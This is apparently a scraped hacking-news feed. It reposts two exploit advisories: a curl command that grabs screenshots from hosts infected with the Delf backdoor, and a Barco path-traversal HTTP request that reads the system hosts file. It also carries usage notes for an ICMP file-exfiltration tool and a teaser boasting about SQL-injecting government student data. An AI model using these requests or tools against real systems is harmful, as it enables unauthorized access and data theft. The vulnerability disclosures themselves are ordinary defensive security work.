Exploit Collector
Backdoor.Win32.Delf.ps Information Disclosure

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
Backdoor.Win32.Delf.ps malware suffers from an information leakage vulnerability.

MD5 | 93e9b7fd6d415d0d6b456f75ee5353ab

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/cf3c08afa6c2d49ba36ed0f895893d71.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.ps
Vulnerability: Information Disclosure
Description: The malware listens on TCP port 80. Third-party adversaries who can reach an infected host can generate and download screenshots of the systems desktop.
Family: Delf
Type: PE32
MD5: cf3c08afa6c2d49ba36ed0f895893d71
Vuln ID: MVID-2022-0532
Disclosure: 04/02/2022

Exploit/PoC:
C:\>curl http://x.x.x.x:80 > screenshot.jpg
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 280k 0 280k 0 0 280k 0 --:--:-- --:--:-- --:--:-- 2577k
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Barco Control Room Management Suite Directory Traversal

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Barco Control Room Management Suite versions prior to 2.9 build 0275 suffer from a directory traversal vulnerability.

MD5 | 88e03b446ae044429f677923af2adc57

Download
*I. SUMMARY*
Title: [CVE-2022-2623] Barco Control Room Management Suite File Path
Traversal Vulnerability
Product: Barco Control Room Management Suite before 2.9 build 0275 and all
prior versions
Vulnerability Type: File Path Traversal
Credit by/Researcher: Murat Aydemir from Accenture Cyber Security Team
(Prague CFC)
Contact: https://twitter.com/mrtydmr75
Github: https://github.com/murataydemir

*II. CVE REFERENCE, CVSS SCORES & VULNERABILITY TYPES*
CVE Number: CVE-2022-26233
CVSSv3: Base score: 7.5 Impact 3.6 Exploitability: 3.9
CVSSv3 Vector: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Vulnerability Type: File Path Traversal
CWE ID: CWE-22 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')

*III. PROOF OF CONCEPT (POC) FOR CVE-2022-26233*
Due to lack of input sanitizing inputs which come from url, an application
is vulnerable to file path traversal vulnerability. A succesfully
exploitation of this vulnerability could lead to access/read files and
directories stored on file system including application source code or
configuration and critical system files. No authentication is required to
exploit this vulnerability. An attacker who is not logged into the
application can easily exploit this vulnerability.

GET /..\..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0)
Gecko/20100101 Firefox/81.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

[image: file-path-traversal.PNG]

*IV. REFERENCE(S)*
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26233
https://nvd.nist.gov/vuln/detail/CVE-2022-26233
https://www.barco.com/en/support/knowledge-base/kb115*XX*

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cybersecurity Mesh: IT's Answer to Cloud Security

With a properly functioning cybersecurity mesh architecture, one can guarantee safe, authorized access to data from any access point.

(SQLI) How I Hack Hundreds Of Students Data On Goverment Website

Hola everybody, short story when i browsing on goverment website i found search bar, and first came in to my mind is “SQL INJECTION”Continue reading on Medium »
Read more...

(SQLI) How I Hack Hundreds Of Students Data On Goverment Website
https://snurlaxx.medium.com/sqli-how-i-hacked-hundreds-of-students-data-on-goverment-website-5cd284fbb30c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hola everybody, short story when i browsing on goverment website i found search bar, and first came in to my mind is “SQL INJECTION”Continue reading on Medium » (https://snurlaxx.medium.com/sqli-how-i-hacked-hundreds-of-students-data-on-goverment-website-5cd284fbb30c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to remove a hacker from your smartphone

Phone hacking can compromise your personality and protection without you indeed knowing. Fraudsters ceaselessly advance and move forward…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Beastmode DDoS Botnet explotando nuevos errores TOTOLINK para esclavizar a más enrutadores

https://cdn-images-1.medium.com/max/973/0*IhwKYzFWknZqwm6w
PUBLICADO EN 4 ABRIL, 2022 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
(SQLI) How I Hack Hundreds Of Students Data On Goverment Website

https://cdn-images-1.medium.com/max/1266/1*JaVMuBevn9euU6_JbIQHZA.png
Hola everybody, short story when i browsing on goverment website i found search bar, and first came in to my mind is “SQL INJECTION”

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is Youtube Vanced app secure? The complete story of piracy which ended. #youtubelives

https://cdn-images-1.medium.com/max/2600/0*NlkG9YW50JYepM7i
Vanced is youtube alternative which is af-free for free! It all started with MicroG a java based software launched around late 2015.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Was there any T.V program or site where one could pick up these techniques before 2009?

Several years ago a scumbag from my school stole my xbox password and gave it to one of his friends in order to destroy my account(and be held accountable instead of himself).

He also put several people to write up my emails to porn and spam sites.

Since this guy wasn't particularly clever I was wondering if there were some well-known sources where he could get information about such deeds in order to mimic them.

submitted by /u/Periplokos
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How much damage can be done with an open port?

Assuming you run a linux media server and open up a specific port for a media service like Plex to be accessed over the internet.

How much damage can be done?

As far as I know you can certainly affect the linux server machine, but would it be possible to get into the local network and basically take down everything or steal data that's on other machines inside the LAN ?

submitted by /u/DrCat75
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Beware of These 5 Tax Scams

Fraudsters are out in full force as Tax Day approaches. Use this list to keep your company’s employees informed on what to watch out for this year.

Dark Reading: Attacks/Breaches
How Do I Decide Whether to Buy or Build in Security?

To build or buy — that is the question. Security teams have to consider maintenance costs and compliance questions when they go down the build-it-yourself path.

ICMP-TransferTools - Transfer Files To And From A Windows Host Via ICMP In Restricted Network Environments
http://www.kitploit.com/2022/04/icmp-transfertools-transfer-files-to.html

___________________________
@hacking_Attack
@Hacking_Video

ICMP-TransferTools is a set of scripts (https://www.kitploit.com/search/label/Scripts) designed to move files to and from Windows (https://www.kitploit.com/search/label/Windows) hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and powershell (https://www.kitploit.com/search/label/PowerShell) client (https://www.kitploit.com/search/label/Client) for each transfer direction (Download & Upload).
The only dependency required is Impacket for one of the python scripts. It can be installed via pip like so: pip3 install impacket
Download via ICMP The included ICMP-SendFile.py and Invoke-IcmpDownload.ps1 scripts can be used to download a file to a Windows host via ICMP. The python server must be run first to stage the file for download. See below for the script's usage: usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP

optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Once imported, the powershell client can then be used to download the staged file like so: Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
See below for a quick demonstration:

___________________________
@hacking_Attack
@Hacking_Video

Upload via ICMP The included ICMP-ReceiveFile.py and Invoke-IcmpUpload.ps1 scripts can be used to upload/exfiltrate a file from a Windows host via ICMP. The python server must be run first to ensure it's ready to accept requests from the client. See below for the script's usage: usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
src Public IP Address of client
file File to write data to

optional arguments:
-h, --help show this help message and exit
Once imported, the powershell client can then be used to upload the desired file like so: Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
See below for a quick demonstration:

___________________________
@hacking_Attack
@Hacking_Video